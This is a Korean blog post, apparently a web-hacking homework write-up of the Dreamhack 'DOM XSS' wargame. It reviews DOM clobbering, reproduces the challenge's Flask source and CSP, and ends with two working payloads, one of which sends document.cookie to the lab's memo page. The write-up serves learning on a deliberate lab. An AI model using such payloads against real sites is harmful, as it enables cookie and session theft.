Web Hacking 과제_1(Dreamhack_DOM XSS)

2024. 11. 13. 12:20카테고리 없음

DOM XSS | 워게임 | Dreamhack | 워게임 | Dreamhack

 

DOM XSS

Description Exercise: DOM XSS에서 실습하는 문제입니다. 문제 수정 내역 2023.08.11 Dockerfile 제공

dreamhack.io

 

5주차_Webhacking 과제1 : DOM XSS

 

5주차_Webhacking 과제1 : DOM XSS

이번주 웹해킹 학습내용은 XSS(CROSS SITE SCRIPTING) 이다. XSS(CROSS SITE SCRIPTING)란? 대표적인 클라이언트 사이드 취약점 중 하나로 공격자가 웹 리소스에 악성 스크립트를 삽입하여 이용자의 웹 브라우

jootopia0808.tistory.com

 

 

해당 DOM XSS 취약점 관련 문제는 과거에도 풀었던 경험이 있다.

 

Document Object Model (DOM)

  • 웹 페이지에 대한 프로그래밍 인터페이스
  • 웹 개발자가 작성한 웹 문서는 브라우저에서 파싱되어 DOM으로 표현된다.
  • 자바스크립트가 웹 문서에 접근할 때에는 DOM을 통해 접근하게 되며, DOM에서 제공하는 API 사용
  • DOM 내에서 웹 개발자가 작성한 HTML 문서는 트리 형태가 되어 노드로 표현된다.
var elem = document .getElementById("name");
elem.innerText ="My name is jo0dy";

 

DOM Clobbering XSS

  • id, name 등 HTML에서 이용되는 속성을 이용해 자바스크립트에서 접근 가능한 DOM 객체들의 속성 및 메소드 등을 변조하는 공격 기법이다.
  • HTML injection이 가능해야 한다.

 

원리

- Javascript에서 별도 변수 정의 없이 "xxxxx"에 접근하면 해당 id를 가진 element를 DOM에서 찾아서 리턴한다.

 

 

개념에 대해 다시한번 리뷰해봤다.

문제를 풀어보자.

 

 

 

 

일단 총 3개의 섹션? 이 있는데, 취약점 페이지, 메모, 플래그 이렇게 세개로 구성되어있다.

 

 

일단 취약점 페이지에 들어가보니 위와 같이 뜨는데, 이미지 태그? 를 활용한건지 의심을 해봤다.

 

코드를 살펴보자.

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)
nonce = os.urandom(16).hex()

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, name, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}#{name}"
    return read_url(url, cookie)

@app.after_request
def add_header(response):
    global nonce
    response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}' 'strict-dynamic'"
    nonce = os.urandom(16).hex()
    return response

@app.route("/")
def index():
    return render_template("index.html", nonce=nonce)


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return render_template("vuln.html", nonce=nonce, param=param)


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html", nonce=nonce)
    elif request.method == "POST":
        param = request.form.get("param")
        name = request.form.get("name")
        if not check_xss(param, name, {"name": "flag", "value": FLAG.strip()}):
            return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'

        return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text, nonce=nonce)


app.run(host="0.0.0.0", port=8000)

 

 

 

memo는 클릭할때마다 요청이 보내지면서, hello가 누적되는 것 같았다.

 

 

 

위 내용을 살펴보면 script-src에서 strict-dynamic이 존재하는데, strict-dynamic는 동적으로 스크립트를 로드하는 것을 허용한다는 의미인데, html 파일을 보면 id가 name인 태그를 대상으로 innerHTML 수행한다. 

 

삽입되는 데이터는 URL로 전달되는 fragment이고,  URL flagment는 URL에서 # 뒷 부분을 의미한다.

( flag에 있는 생김새를 보면 # 을 기준으로 앞뒤로 나뉘는 것을 확인 할 수 있다.) 

html 코드를 다시보면, pre 태그보다 param으로 전송한 fragment 데이터가 먼저 로드되는 것을 알 수 있다.

따라서 pre 태그와 같은 id로 스크립트 태그를 frament로 작성해서 전송하면 DOM Clobbering이 발생한다.

 

이에 맞춰서 페이로드를 작성하면 아래와 같다.

<script id='name'></script>#alert(1)//
<script id='name'></script>#location.href='http://127.0.0.1:8000/memo?memo='+document.cookie//

 

스크립트가 실행되고 공격 대상의 쿠키를 memo에 저장할 수 있게된다.

 

 

XSS는 위와 같은 DOM 뿐아니라, 저장, 반사 등과 같은 다양한 종류의 취약점이 있는데, 각각 특징을 잘 알아두면 좋을 것 같다.